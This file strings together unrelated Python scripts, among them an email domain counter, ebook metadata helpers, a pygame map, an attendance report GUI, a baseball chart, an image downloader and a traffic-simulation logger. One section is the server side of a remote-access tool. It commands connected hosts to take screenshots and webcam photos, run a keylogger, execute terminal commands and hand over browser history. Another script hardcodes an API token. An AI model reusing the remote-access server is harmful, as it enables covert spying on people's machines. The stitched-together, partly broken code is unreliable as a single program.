#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Sep 20 21:59:30 2017

@author: aayushgadia
"""

filename=input('Enter a file name: ')
domain_list=[]
f_in=open(filename)
for line in f_in:
    if line.startswith('From '):
        line_split=line.split()
        email_add=line_split[1]
        pos=email_add.find('@')
        domain=email_add[pos+1:]
        domain_list.append(domain)

domain_dict={}

for domain in domain_list:
    if domain not in domain_dict:
        domain_dict[domain]=1

    else:
        domain_dict[domain]+=1

print(domain_dict)


class EXTHHelper:
    types = {
        1: "drm server id",
        2: "drm commerce id",
        3: "drm ebookbase book id",
        100: "author",
        101: "publisher",
        102: "imprint",
        103: "description",
        104: "isbn",
        105: "subject",
        106: "publishingdate",
        107: "review",
        108: "contributor",
        109: "rights",
        110: "subjectcode",
        111: "type",
        112: "source",
        113: "asin",
        114: "versionnumber",
        115: "sample",
        116: "startreading",
        118: "retail price",
        119: "retail price currency",
        201: "coveroffset",
        202: "thumboffset",
        203: "hasfakecover",
        204: "Creator Software",
        205: "Creator Major Version",
        206: "Creator Minor Version",
        207: "Creator Build Number",
        208: "watermark",
        209: "tamper proof keys",
        300: "fontsignature",
        401: "clippinglimit",
        402: "publisherlimit",
        403: "403",
        404: "ttsflag",
        501: "cdetype",
        502: "lastupdatetime",
        503: "updatedtitle"
    }

    flippedTypes = {
        "drm server id": 1,
        "drm commerce id": 2,
        "drm ebookbase book id": 3,
        "author": 100,
        "publisher": 101,
        "imprint": 102,
        "description": 103,
        "isbn": 104,
        "subject": 105,
        "publishingdate": 106,
        "review": 107,
        "contributor": 108,
        "rights": 109,
        "subjectcode": 110,
        "type": 111,
        "source": 112,
        "asin": 113,
        "versionnumber": 114,
        "sample": 115,
        "startreading": 116,
        "retail price": 118,
        "retail price currency": 119,
        "coveroffset": 201,
        "thumboffset": 202,
        "hasfakecover": 203,
        "Creator Software": 204,
        "Creator Major Version": 205,
        "Creator Minor Version": 206,
        "Creator Build Number": 207,
        "watermark": 208,
        "tamper proof keys": 209,
        "fontsignature": 300,
        "clippinglimit": 401,
        "publisherlimit": 402,
        "403": 403,
        "ttsflag": 404,
        "cdetype": 501,
        "lastupdatetime": 502,
        "updatedtitle": 503
    }

    @staticmethod
    def typeToText(type):
        if type in EXTHHelper.types:
            return EXTHHelper.types[type]
        return type

    @staticmethod
    def textToType(text):
        text = text.lower()
        if text in EXTHHelper.flippedTypes:
            return EXTHHelper.flippedTypes[text]
        return False

    @staticmethod
    def convert(n, size):
        mask = 0xFF
        out = bytearray()
        for i in range(size):
            out.insert(0, (n & mask) >> (8 * i))
            mask = mask << 8
        return bytes(out)

    @staticmethod
    def getRightRepresentation(type, value):
        if 100 <= type < 200:
            return value
        else:
            return EXTHHelper.toHex(value)

    @staticmethod
    def toHex(value):
        out = ""
        for i in range(len(value)):
            if i > 0:
                out += " "
            hex_value = format(value[i], '02x')
            out += hex_value
        return out


from connection import Connector
from host import Host
from threading import Thread
from typing import List, Union
from functools import wraps
from pathlib import Path

def check_connection(method):
    @wraps(method)
    def _impl(*args, **kwargs):
        try:
            return True, method(*args, **kwargs)
        except ConnectionResetError:
            args[0].remove_host(args[1])
            return False, "Error on the host connection"
        except TimeoutError as e:
            args[0].remove_host(args[1])
            return False, str(e)
    return _impl

class Server:

    def __init__(self, host:str, port:int) -> None:
        self.__connector = Connector()
        self.__connector.bind((host, port))
        self.__connector.listen()  # enable connections
        self.__hosts:List[Host] = []
        self.__id_auto_increment = 1  # to assign id to host

    @property
    def hosts(self)->List[Host]:
        return self.__hosts

    @property
    def connector(self)->Connector:
        return self.__connector

    def get_host_by_id(self, id:int)->Union[Host,None]:
        try:
            for host in self.__hosts:
                if host.id == int(id):
                    return host
            return -1
        except:
            return -1

    def remove_host(self, host:Host):
        try:
            self.__hosts.remove(host)
        except ValueError:
            pass

    def __establish_connection(self)->None:
        """Add connectios to server
        """
        while True:
            try:
                conn, addr = self.__connector.accept()
                name = self.__connector.get_str(conn=conn)
                self.__hosts.append(Host(self.__id_auto_increment, conn, addr, name))
                self.__id_auto_increment += 1

            except Exception as e:
                if not self.__on:
                    print("\nServer has been disconnected")
                    break
                else:
                    print(str(e))

    def end(self, host:Union[Host,None]=None):
        """Closes all connections"""
        if not host:
            for host in self.__hosts:
                try:
                    self.__connector.send_str("exit", host.sock)
                    host.sock.close()
                except ConnectionResetError:
                    pass
            self.__on = False
            self.__connector.close()
        else:
            self.__connector.send_str("exit", host.sock)
            host.sock.close()
            self.__hosts.remove(host)

    @check_connection
    def screenshot(self, host:Host, name:str=Union[str,None]):
        if not name: name = f"screenshot-{host.id}.png"
        self.__connector.send_str("screenshot", host.sock)
        self.__connector.recv_file(name, host.sock)
        return Path(name).absolute().as_posix()

    @check_connection
    def camera(self, host:Host, name:str=Union[str,None]):
        if not name: name = f"camera-{host.id}.png"
        self.__connector.send_str("camera", host.sock)
        self.__connector.recv_file(name, host.sock)
        return Path(name).absolute().as_posix()

    @check_connection
    def execute_in_terminal(self, host:Host, command):
        self.__connector.send_str(command, host.sock)
        result = self.__connector.get_str(host.sock)
        return result

    def start(self):
        """Stablish socket connections
        """
        Thread(target=self.__establish_connection).start()
        self.__on = True
        print(">> Server has been inicialized")

    @check_connection
    def active_keylogger(self, host:Host, time:int=10):
        self.__connector.send_str("keylogger "+str(time), host.sock)
        return self.__connector.get_str(host.sock)

    @check_connection
    def get_browser_historial(self, host:Host, path_file:Union[str,None]=None, browser:str="edge"):
        if not path_file: path_file = f"historial-{host.name}-{host.id}.csv"
        self.__connector.send_str(f"historial {browser}", host.sock)
        self.__connector.recv_file(path_file, host.sock)
        return Path(path_file).absolute().as_posix()


from utils.helper_functions import *
from keras.preprocessing.text import Tokenizer
from keras.preprocessing.sequence import pad_sequences
from utils.constants import *
from sklearn.utils import class_weight
import numpy as np

df = read_data()
df = clean_up(df)
df = drop_head(drop_tail(df))
df = df[~(df['skill_name']=='Attempts to upsell')]
df.replace(to_replace={'skill_name':{'Probing question':'Fact-gathering question'}},inplace=True)

X_train, X_test, Y_train, Y_test= create_train_test(df,VALIDATION_SPLIT)
Y_train_unique = np.unique(Y_train)
class_weight = class_weight.compute_class_weight('balanced', Y_train_unique, Y_train)

Y_train=get_dummies(Y_train)
Y_test=get_dummies(Y_test)

tokenizer = Tokenizer(num_words=MAX_NB_WORDS)
tokenizer.fit_on_texts(list(df['content']))
word_index = tokenizer.word_index

train_sequences_1 = tokenizer.texts_to_sequences(list(X_train))
train_data_1 = pad_sequences(train_sequences_1, maxlen=MAX_SEQUENCE_LENGTH)

test_sequences_1 = tokenizer.texts_to_sequences(list(X_test))
test_data_1 = pad_sequences(test_sequences_1, maxlen=MAX_SEQUENCE_LENGTH)

Y_train=np.matrix(Y_train)
Y_test=np.matrix(Y_test)

print("Done with data processing")


# Importar as bibliotecas
import pygame

# Importar os módulos criados
from decoracao import Ceu
from dados_jogo import levels
from suporte import importar_arquivos

class No(pygame.sprite.Sprite):
    def __init__(self, posicao, estado, velocidade_icone, caminho):
        super().__init__()
        # Criar a imagem e o rect do nó
        self.frames = importar_arquivos(caminho)
        self.indice_frame = 0
        self.velocidade_animacao = 0.15
        self.image = self.frames[self.indice_frame]
        if estado == 'disponivel':
            self.estado = 'disponivel'
        else:
            self.estado = 'indisponivel'
        self.rect = self.image.get_rect(center=posicao)

        # Configurações da zona de detecção de colisão
        esquerda = self.rect.centerx - (velocidade_icone / 2)
        topo = self.rect.centery - (velocidade_icone / 2)
        self.zona_deteccao = pygame.Rect(esquerda, topo, velocidade_icone, velocidade_icone)

    def animar(self):
        """Função responsável por animar os nós no Overworld"""
        self.indice_frame += self.velocidade_animacao
        if self.indice_frame >= len(self.frames):
            self.indice_frame = 0
        self.image = self.frames[int(self.indice_frame)]

    def update(self):
        """Função responsável por atualizar os nós no Overworld"""
        # Animar os nós somente quando o level estiver disponível
        if self.estado == 'disponivel':
            self.animar()
        # Deixar apagado os nós que estão indisponíveis
        else:
            # Copiar a imagem
            no_indisponivel = self.image.copy()

            # Preencher a imagem
            # 1: Cor
            # 2: Objeto Rect
            # 3: Flags (essa flag usada serve para pintar somente os pixels que está o sprite,
            #           onde não tiver sprite, ou seja, o valor de Alfa como 0, não é pintado)
            no_indisponivel.fill('black', None, pygame.BLEND_RGBA_MULT)

            # Colocar a máscara nos nós indisponíveis
            self.image.blit(no_indisponivel, (0, 0))

class Icone(pygame.sprite.Sprite):
    def __init__(self, posicao):
        super().__init__()
        # Criar a imagem e o rect do ícone no Overworld
        self.posicao = posicao  # isso permite usar valores "float" para movimentar o ícone
        self.image = pygame.image.load('../graficos/overworld/chapeu.png').convert_alpha()
        self.rect = self.image.get_rect(center=posicao)

    def update(self):
        """Função responsável por atualizar o sprite do ícone no Overworld"""
        self.rect.center = self.posicao

class Overworld:
    def __init__(self, level_inicial, level_final, tela, criar_level):
        # Configurações iniciais
        self.tela = tela
        self.level_final = level_final
        self.level_atual = level_inicial
        self.criar_level = criar_level
        horizonte = 8

        # Configurações da lógica do movimento no Overworld
        self.movendo = False
        self.velocidade = 8
        self.mover_direcao = pygame.math.Vector2(0, 0)

        # Configurações dos sprites
        self.configuracao_nos()
        self.configuracao_icone()
        self.ceu = Ceu(horizonte, 'overworld')

    def configuracao_nos(self):
        """Função responsável por configurar os nós do mapa do Overworld"""
        # Criar o grupo dos sprites para os nós
        self.nos = pygame.sprite.Group()

        # Verificar se o level do nó é menor ou igual ao "level_final" e colocar cada nó na tela
        for indice_no, dados_nos in enumerate(levels.values()):
            if indice_no <= self.level_final:
                sprite_no = No(dados_nos['pos_no'],
                               'disponivel',
                               self.velocidade,
                               dados_nos['graficos_no'])
            else:
                sprite_no = No(dados_nos['pos_no'],
                               'indisponivel',
                               self.velocidade,
                               dados_nos['graficos_no'])

            # Adicionar os sprites dos nós ao grupo
            self.nos.add(sprite_no)

    def configuracao_icone(self):
        """Função responsável por configurar o ícone do mapa do Overworld"""
        # Criar o grupo de sprite para o ícone
        self.icone = pygame.sprite.GroupSingle()

        # Criar um sprite para o ícone
        # Usar os sprites dos nós, uma vez que já possuímos a posição XY e em qual "self.level_atual"
        # essa posição está na tela
        sprite_icone = Icone(self.nos.sprites()[self.level_atual].rect.center)

        # Adicionar o sprite do ícone ao grupo
        self.icone.add(sprite_icone)

    def desenhar_linhas(self):
        """Função responsável por desenhar as linhas entre os nós"""
        # Desenhar as linhas entre os levels no Overworld depois que o jogador passar do primeiro level
        if self.level_final > 0:
            # Criar uma lista com as posições dos nós para desenhar as linhas
            pontos = [no['pos_no'] for indice_no,
                      no in enumerate(levels.values()) if indice_no <= self.level_final]

            # Desenhar as linhas entre os nós
            # 1: Onde desenhar
            # 2: Cor
            # 3: Preenchimento
            # 4: Ponto de partida e de chegada
            # 5: Espessura da linha
            pygame.draw.lines(self.tela, '#a04f45', False, pontos, 6)

    def entrada(self):
        """Função responsável por obter a entrada de teclas do jogador"""
        # Criar uma lista com as teclas
        teclas = pygame.key.get_pressed()

        # O ícone só se moverá depois de um certo tempo
        if not self.movendo:
            # Verificar se as teclas foram pressionadas
            if teclas[pygame.K_RIGHT] and self.level_atual < self.level_final:
                # Mover o ícone pelo Overworld
                self.mover_direcao = self.obter_dados_movimento('seguinte')
                # Ir para frente até o valor de "self.level_final"
                self.level_atual += 1
                self.movendo = True

            elif teclas[pygame.K_LEFT] and self.level_atual > 0:
                # Mover o ícone pelo Overworld
                self.mover_direcao = self.obter_dados_movimento('anterior')
                # Ir para trás somente quando o ícone não estiver em "self.level_atual" igual a 0
                self.level_atual -= 1
                self.movendo = True

            elif teclas[pygame.K_SPACE]:
                # Entrar no level em que o ícone estiver
                self.criar_level(self.level_atual)

    def obter_dados_movimento(self, sentido):
        """Função responsável a obter os dados dos movimentos do ícone no Overworld"""
        # Obter a posição de saída
        comeco = pygame.math.Vector2(self.nos.sprites()[self.level_atual].rect.center)

        # Posição de cheganda a frente
        if sentido == 'seguinte':
            # Obter a posição de chegada
            final = pygame.math.Vector2(self.nos.sprites()[self.level_atual + 1].rect.center)

        # Posição de chegada atrás
        elif sentido == 'anterior':
            # Obter a posição de chegada
            final = pygame.math.Vector2(self.nos.sprites()[self.level_atual - 1].rect.center)

        # Obter o delta
        delta = final - comeco

        # Normalizar os valores para que fiquem dentro dos limites da tela
        return delta.normalize()

    def movimentar_icone(self):
        """Função responsável a movimentar o ícone no Overworld"""
        # Movimentar o ícone somente quando for permitido e quando estiver no centro do nó
        if self.movendo and self.mover_direcao:
            # Colocar o ícone no centro do nó de "self.level_atual"
            self.icone.sprite.posicao += self.mover_direcao * self.velocidade
            no_alvo = self.nos.sprites()[self.level_atual]

            # Detectar a colisão do sprite do ícone com o Rect inscrito no nó
            if no_alvo.zona_deteccao.collidepoint(self.icone.sprite.posicao):
                self.movendo = False
                self.mover_direcao = pygame.math.Vector2(0, 0)

    def executar(self):
        """Função responsável por executar o Overworld"""
        # Entrada de teclas do jogador
        self.entrada()

        # Movimentar o ícone no Overworld
        self.movimentar_icone()

        # Atualizar o ícone no Overworld
        self.icone.update()

        # Animar os nós no Overworld
        self.nos.update()

        # Desenhar o céu ao fundo do Overworld
        self.ceu.desenhar(self.tela)

        # Desenhar as linhas que ligam os nós
        self.desenhar_linhas()

        # Desenhar o Overworld na tela
        self.nos.draw(self.tela)

        # Desenhar o ícone em cima do nó
        self.icone.draw(self.tela)


import sys
import string
def main(arg1,arg2):

	fname = "raps/"+arg2
	rname = arg1
	lyrics = ""
	try:
		with open(fname) as f:
			contents = f.readlines()
			for line in contents:
				lyrics+=line
	except Exception:
		print(fname+ "is an INVALID FILENAME")
		sys.exit()
	lyrics = lyrics.lower()
	lyrics = lyrics.replace("\n"," ")
	allc = string.maketrans("","")
	noweirdchars = allc.translate(allc,string.ascii_lowercase+ " ")
	lyrics = lyrics.translate(allc,noweirdchars)
	with open("progfiles/raps.txt","a") as f:
		f.write("\n"+rname+":"+lyrics)


from tkinter import *
import os
import glob
import csv
import codecs

class Table:
    def __init__(self, root,data,num):
        trows = len(data)
        tcols = len(data[0])
        for i in range(num, trows+num):
            for j in range(tcols):
                self.cell = Entry(root)
                # print(i,j)
                self.cell.grid(row=i,column=j)
                self.cell.insert(END, data[i-num][j])

class MyWindow:
    options = []
    def __init__(self, master):
        self.master = master
        master.title("Student Attendance Report")
        self.tname_data = StringVar()

        Label(self.master, bg='#e3f5a2', text="Enter Subject Code:").grid(row=0, column=0,padx=10, pady=(20,0))
        Entry(root, textvariable=StringVar(), width=40, font=('calibre', 10, 'normal')).grid(row=0,column=1,columnspan=2, pady=(20,0))
        Label(self.master, bg='#e3f5a2', text="Enter name of Teacher:").grid(row=1,column=0,padx=10, pady=(10,0))
        Entry(root, textvariable=self.tname_data, width=40, font=('calibre', 10, 'normal')).grid(row=1,column=1, columnspan=2, pady=(10,0))
        Button(root, text="Generate Attendance", command=self.generate_attendance, bg="#1dc44f", fg="white").grid(row=1,column=3, padx=10, pady=(10,0))

    def after_generate(self):
        Button(self.master, text="Get Students below\n 75% Attendance", bg="#1dc44f", command=self.below_attendance, fg="white").grid(row=2,column=0,padx=10, pady=(40,0))
        Button(self.master, text="Get Specific Student\n Attendance Details", command=self.get_attendance, bg="#1dc44f", fg="white").grid(row=3,column=0,padx=10, pady=(6,40))

    def generate_attendance(self):
        if (os.path.exists('Report.csv')):
            Label(self.master, text = "Report already created!!\nCheck the below path:\n"+os.getcwd()+"\Report.csv", fg='red').grid(row=1,column=4, padx=10)
            self.after_generate()
        else:
            pathname = os.getcwd()
            csv_files = glob.glob(os.path.join(pathname, "*.csv"))

            # Count csv files in current folder to get Total Working days
            total_attendance = len(csv_files)

            teacher = self.tname_data.get().upper()
            data = []  # Contains non-repeated all attendance data
            dict_student = {}  # To store student data
            for file in csv_files:
                csv_reader = csv.reader(codecs.open(file, 'r', 'UTF-16le'))
                next(csv_reader)
                stud_present = [] # Attendance of that day
                for line in csv_reader:
                    row = line[0].split("\t")
                    if row[0] not in stud_present:
                        stud_present.append(row[0])
                        row.append(line[1])
                        data.append(row)

                        # to get total students dict
                        if row[0] not in dict_student.keys() and 'Guest' not in row[0] and row[0].upper() != teacher:
                            dict_student[row[0]] = [0]

            # calculate present attendace
            for row in data:
                if row[0] in dict_student.keys():
                    dict_student[row[0]][0] += 1

            print("No. of Students: ", len(dict_student))

            # to calculate rest data
            for attendance in dict_student.values():
                # calculate absent days
                present = attendance[0]
                absent = total_attendance-present
                attendance.append(absent)

                # calculate percentage
                percent = round((present/total_attendance)*100, 2)
                attendance.append(percent)

            # Creating rows/lines to write in csv
            rows = [[name] + datalist for name, datalist in dict_student.items()]
            with open('Report.csv', 'w', newline='') as new_file:
                csv_writer = csv.writer(new_file)
                csv_writer.writerow(["Name", "Present", "Absent", "Percentage"])
                for row in rows:
                    csv_writer.writerow(row)
                Label(self.master, text = "Attendace Report Successfully Created\nOn the below path:\n"+os.getcwd()+"\Report.csv", fg='green').grid(row=1,column=4, padx=10)
                self.after_generate()

    def below_attendance(self):
        data = [["Name", "Present","Absent", "Percent"]]
        csv_reader = csv.reader(open('Report.csv', 'r'))
        next(csv_reader)
        for line in csv_reader:
            if int(float(line[3])) < 75:
                data.append(line)

        Label(root,font= 'Arial 10 bold', text="Students below 75 percent attendance: ").grid(row=7,column=0,columnspan=2, pady=(40,5))
        myTable = Table(root, data, 8)

    def get_attendance(self):
        options = []
        csv_reader = csv.reader(open('Report.csv', 'r'))
        next(csv_reader)
        for line in csv_reader:
            options.append(line[0])

        self.clicked = StringVar()
        self.clicked.set("Click on this Dropdown\t")
        Label(self.master, bg='#e3f5a2', font= 'Arial 10 bold', text="Select the \nStudent Name:").grid(row=4, column=0, padx=(10,0))
        OptionMenu( self.master , self.clicked , *options ).grid(row=4, column=1)
        Button( self.master , text = "Get Details", command=self.show, bg="#1dc44f", fg="white").grid(row=4, column=2)

    def show(self):
        details = [["Name", "Present","Absent", "Percent"]]
        csv_reader = csv.reader(open('Report.csv', 'r'))
        next(csv_reader)
        for line in csv_reader:
            if (line[0]==self.clicked.get()):
                details.append(line)

        table = Table(self.master, details, 5)

root = Tk()
root.geometry("900x600")
root.configure(background='#a0d9c6')
my_gui = MyWindow(root)

root.mainloop()


'''
2013 야구성적을 이용하여 홈런타자 순서로 정렬해서 표현하세요.
1. 정렬 후 콘솔에 홈런타자 이름 순으로 출력합니다.
2. y축 홈런 개수 x축 선수이름 인  Bar 차트 를 그리세요.
3. 홈런 순위가 표로만들어져 있는 파일을 만들어 웹서버에 올립니다.
순위 이름 홈런수
1  홍길동 50
2  이순신 40
..
..
'''

import pandas as pd
import numpy as np
from bs4 import BeautifulSoup as bs
import plotly.plotly as py
import plotly.tools as tls

import matplotlib.pyplot as plt

data = pd.read_csv('2013_baseball_kr.csv')
#print(data)

df=pd.DataFrame(data)
#print(df)
df2=df.filter(items=['선수명','홈런'])
#print(df2)
###1. 정렬 후 콘솔에 홈런타자 이름 순으로 출력합니다.
sortname=df2.sort_values(by='선수명')
print(sortname)
name=sortname['선수명']
homerun=sortname['홈런']

###2. y축 홈런 개수 x축 선수이름 인  Bar 차트 를 그리세요.
#print(type(list(name)))
import matplotlib.pyplot as plt
import matplotlib.font_manager as fm
###########
path = '/usr/share/fonts/truetype/nanum/NanumMyeongjo.ttf'
fontprop = fm.FontProperties(fname=path, size=18)
#######333
objects =list(name)
y_pos = np.arange(len(objects))
performance = list(homerun)

rects=plt.bar(y_pos, performance, width=0.7, color='IndianRed', yerr=1, align='center', alpha=1)
plt.xticks(y_pos, objects,rotation=40, ha='right',fontproperties=fontprop)
plt.ylabel('홈런수',fontproperties=fontprop)
plt.xlabel('선수명',size=1,fontproperties=fontprop)
plt.title('KBO 홈런차트',fontproperties=fontprop)

def autolabel(x, xpos='center'):
    """
    Attach a text label above each bar in *rects*, displaying its height.

    *xpos* indicates which side to place the text w.r.t. the center of
    the bar. It can be one of the following {'center', 'right', 'left'}.
    """

    xpos = xpos.lower()  # normalize the case of the parameter
    ha = {'center': 'center', 'right': 'left', 'left': 'right'}
    offset = {'center': 0.5, 'right': 0.57, 'left': 0.43}  # x_txt = x + w*off

    for rect in rects:
        height = rect.get_height()
        plt.text(rect.get_x() + rect.get_width()*offset[xpos], 1.01*height,
                '{}'.format(height), ha=ha[xpos], va='bottom')

autolabel(rects, "left")
plt.show()

###3. 홈런 순위가 표로만들어져 있는 파일을 만들어 웹서버에 올립니다.
sorthr=df2.sort_values(by='홈런',ascending=False)
#print(sorthr)
sorthr.index = range(1,len(sorthr)+1)
#print(sorthr)
hrdic={}
for i in range(len(sorthr)):
    hrdic['{0}'.format(i+1)]={sorthr['선수명'][i+1]:sorthr['홈런'][i+1]}
print(hrdic)

#import glob
#from collections import defaultdict

# write to html
html = """

순위<meta charset='utf-8'>
선수명<meta charset='utf-8'>
홈런<meta charset='utf-8'>

"""
for i in range(len(hrdic)):
    html += "
{0}<meta charset='utf-8'>	{1}<meta charset='utf-8'>	{2}<meta charset='utf-8'>	".format(i+1,list(hrdic['%d'%(i+1)].keys()),list(hrdic['%d'%(i+1)].values()))
    html += "
"
html += "
"

#html = unicode( html, "utf-8" )
file_ = open('rankstable_kr.html', 'w')
file_.write(html)
file_.close()


import concurrent
from concurrent import futures
import os
import urllib.request
import requests
from datetime import datetime

executor = concurrent.futures.ThreadPoolExecutor(max_workers=3)
def asyncDownloadFile():
    executor.submit(downloadZaobaoFile)
def asyncDownloadMoyuFile():
    executor.submit(downloadMoyuFile)

def downloadMoyuFile():
    # 获取当前脚本所在的目录，即项目目录
    project_directory = os.path.dirname(os.path.abspath(__file__))
    download_directory = project_directory + '/moyu-jpg/'
    # 获取当前日期并将其格式化为所需的字符串
    current_date = datetime.now().strftime('%m-%d-%Y')
    # 构建文件名，例如：10-20-2023.jpg
    local_filename = f'{current_date}.jpg'
    # 构建完整的文件路径
    full_file_path = os.path.join(download_directory, local_filename)
    # 指定要下载的文件的URL
    file_url = 'https://moyu.qqsuu.cn/'
    # 使用urllib.request库下载文件并保存到指定的位置
    urllib.request.urlretrieve(file_url, full_file_path)
    print(f'{local_filename} 已下载到 {download_directory}')

def downloadZaobaoFile():
    # 获取当前脚本所在的目录，即项目目录
    project_directory = os.path.dirname(os.path.abspath(__file__))
    download_directory = project_directory + '/zaobao-jpg/'
    # 获取当前日期并将其格式化为所需的字符串
    current_date = datetime.now().strftime('%m-%d-%Y')
    # 构建文件名，例如：10-20-2023.jpg
    local_filename = f'{current_date}.jpg'
    # 构建完整的文件路径
    full_file_path = os.path.join(download_directory, local_filename)

    # 获取文件内容
    url = "https://v2.alapi.cn/api/zaobao"
    payload = "token=ODECJI71rCNDt6DO&format=image"
    headers = {'Content-Type': "application/x-www-form-urlencoded"}
    response = requests.request("POST", url, data=payload, headers=headers)

    # 保存到指定的位置
    with open(full_file_path, 'wb') as file:
        file.write(response.content)
    print(f'{local_filename} 已下载到 {download_directory}')

if __name__ == "__main__":
    downloadZaobaoFile()


# sentiment_classifier.py

import argparse
import time
from models import train_model
from sentiment_data import read_sentiment_examples

####################################################
# DO NOT MODIFY THIS FILE IN YOUR FINAL SUBMISSION #
####################################################

# Evaluates a given classifier on the given examples
def evaluate(classifier, exs):
    print_evaluation([ex.label for ex in exs], [classifier.predict(ex) for ex in exs])

# Prints accuracy comparing golds and predictions, each of which is a sequence of 0/1 labels.
def print_evaluation(golds, predictions):
    num_correct = 0
    num_pos_correct = 0
    num_pred = 0
    num_gold = 0
    num_total = 0
    if len(golds) != len(predictions):
        raise Exception("Mismatched gold/pred lengths: %i / %i" %
                        (len(golds), len(predictions)))
    for idx in range(0, len(golds)):
        gold = golds[idx]
        prediction = predictions[idx]
        if prediction == gold:
            num_correct += 1
        if prediction == 1:
            num_pred += 1
        if gold == 1:
            num_gold += 1
        if prediction == 1 and gold == 1:
            num_pos_correct += 1
        num_total += 1

    print("Accuracy: %i / %i = %.2f %%" %
          (num_correct, num_total,
           num_correct * 100.0 / num_total))

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--model', '-m', type=str, default='AlwaysPositive',
                        choices=['AlwaysPositive', 'NaiveBayes', 'LogisticRegression'])
    parser.add_argument('--feature', '-f', type=str, default='unigram',
                        choices=['unigram', 'bigram', 'customized'])
    parser.add_argument('--train_file', type=str, default='data/train.txt',
                        help='path to train set (you should not need to modify)')
    parser.add_argument('--dev_file', type=str, default='data/dev.txt',
                        help='path to dev set (you should not need to modify)')
    parser.add_argument('--test_file', type=str, default='data/test.txt',
                        help='path to test set (you should not call this yourself)')
    args = parser.parse_args()
    print(args)

    train_exs = read_sentiment_examples(args.train_file)
    dev_exs = read_sentiment_examples(args.dev_file)
    n_pos = 0
    n_neg = 0
    for ex in train_exs:
        if ex.label == 1:
            n_pos += 1
        else:
            n_neg += 1
    print("%d train examples: %d positive, %d negative" % (len(train_exs), n_pos, n_neg))
    print("%d dev examples" % len(dev_exs))

    # Train and evaluate
    start_time = time.time()
    model = train_model(args, train_exs)
    print("===== Train Accuracy =====")
    evaluate(model, train_exs)
    print("===== Dev Accuracy =====")
    evaluate(model, dev_exs)
    if args.test_file is not None:
        test_exs = read_sentiment_examples(args.test_file)
        print("===== Test Accuracy =====")
        print("%d test examples" % len(test_exs))
        evaluate(model, test_exs)
    print("Time for training and evaluation: %.2f seconds" % (time.time() - start_time))


from architectures.DQL import DQLValue

parameters = {
    "epsilon_decay": 0.001,
    "min_epsilon": 0.1,
    "enviroment": "CarRacing-v0",
    "model": DQLValue(),
    "max_episodes": 5000,
    "test_step": 10,
    "checkpoint_path": "./models",
    "tensorboard_path": "./logs",
    "save_step": 50
}


import time
import pytz
import datetime
import traci
import pandas as pd

def getdatetime():
    utc_now = pytz.utc.localize(datetime.datetime.utcnow())
    currentDt = utc_now.astimezone(pytz.timezone("Europe/Dublin"))
    DATIME = currentDt.strftime("%Y-%m-%d %H:%M:%S")
    return DATIME

def flatten_list(_2d_list):
    flat_list = []
    for element in _2d_list:
        if type(element) is list:
            for item in element:
                flat_list.append(item)
        else:
            flat_list.append(element)
    return flat_list

sumoCmd = ["sumo", "-c", "osm.sumocfg"]
traci.start(sumoCmd)

packVehicleData = []
packTLSData = []
packBigData = []

while traci.simulation.getMinExpectedNumber() > 0:
    traci.simulationStep()

    vehicles = traci.vehicle.getIDList()
    trafficLights = traci.trafficlight.getIDList()

    # Getting Vehicles Info
    for i in range(0, len(vehicles)):
        vehicleID = vehicles[i]
        x, y = traci.vehicle.getPosition(vehicleID)
        coord = [x, y]
        lon, lat = traci.simulation.convertGeo(x, y)
        gpsCoord = [lon, lat]
        speed = round(traci.vehicle.getSpeed(vehicleID)*3.6, 2)
        edge = traci.vehicle.getRoadID(vehicleID)
        lane = traci.vehicle.getLaneID(vehicleID)
        displacement = round(traci.vehicle.getDistance(vehicleID), 2)
        turnAngle = round(traci.vehicle.getAngle(vehicleID), 2)
        nextTLS = traci.vehicle.getNextTLS(vehicleID)

        # Packing all the data for export to CSV / XLSX
        vehicleList = [getdatetime(), vehicleID, coord, gpsCoord,
                       speed, edge, lane, displacement, turnAngle, nextTLS]

        print("Vehicle: ", vehicleID, " at datetime: ", getdatetime())
        print(vehicleID, ">>> Position: ", coord, " | GPS Position: ", gpsCoord,
              " Speed: ", speed, "km/h | ",
              " Edge ID of the vehicle: ", edge, " | ",
              " Lane ID of the vehicle: ", lane,
              " Distance of the vehicle: ", displacement, "m | ",
              " Vehicle Orientation: ", turnAngle, "degrees | ",
              "Upcoming Traffic Lights: ", nextTLS)

        tlsList = []

        # Getting Traffic Light Info
        for k in range(0, len(trafficLights)):
            # Checking if the lane ID is controlled by traffic lights
            if lane in traci.trafficlight.getControlledLanes(trafficLights[k]):
                tflight = trafficLights[k]
                tl_state = traci.trafficlight.getRedYellowGreenState(tflight)
                tl_phase_duration = traci.trafficlight.getPhaseDuration(
                    tflight)
                tl_lanes_controlled = traci.trafficlight.getControlledLanes(
                    tflight)
                tl_program = traci.trafficlight.getCompleteRedYellowGreenDefinition(
                    tflight)
                tl_next_switch = traci.trafficlight.getNextSwitch(tflight)

                tlsList = [tflight, tl_state, tl_phase_duration,
                           tl_lanes_controlled, tl_program, tl_next_switch]

                print(trafficLights[k], " ----> ",
                      "TL State: ", tl_state, " | ",
                      "TL Phase Duration: ", tl_phase_duration, " | ",
                      "TL Lanes Controlled: ", tl_lanes_controlled, " | ",
                      "TL Program: ", tl_program, " | ",
                      "TL Next Switch: ", tl_next_switch, " | ",
                      )

        packBigDataLine = flatten_list([vehicleList, tlsList])
        packBigData.append(packBigDataLine)

        # MACHINE LEARNING / FUNCTIONS CODE HERE

        # CONTROL Vehicles and Traffic Lights

        # Set function for vehicles
        NEWSPEED = 15  # Value is in meters per second
        if vehicles[i] == "veh2":
            traci.vehicle.setSpeedMode("veh2", 0)
            traci.vehicle.setSpeed("veh2", NEWSPEED)

        # TODO: Try and understand the set functions for the traffic light.
        # Set function for traffic lights
        trafficLightDuration = [5, 37, 5, 35, 6, 3]
        trafficSignal = ["rrrrrrGGgGGGrrrrr", "yyyyyyyyrrrrrr", "rrrrrrrGGGGGGGGGrrrrr", "rrrrrrrYYYYYYYrrrrr",
                         "GrrrrrrrrrGGGGGGg", "yrrrrrrrrrrrYYYY"]

traci.close()

# Generate excel file
columnNames = ['dateAndTime', "vehicleID", "coord", "gpsCoord", "speed", "edge", "lane",
               "displacement", "turnAngle", "nextTLS", "tflight", "tl_state", "tl_phase_duration",
               "tl_lanes_controlled", "tl_program", "tl_next_switch"]

dataset = pd.DataFrame(packBigData, index=None, colums=columnNames)
dataset.to_excel("output.xlsx", index=False)
time.sleep(5)


"""""""""""""""""""""""""""""""""""""""""""""""""""""""""
""													   ""
""  Coded with love by Emi Nietfeld and Lucas Freitas  ""
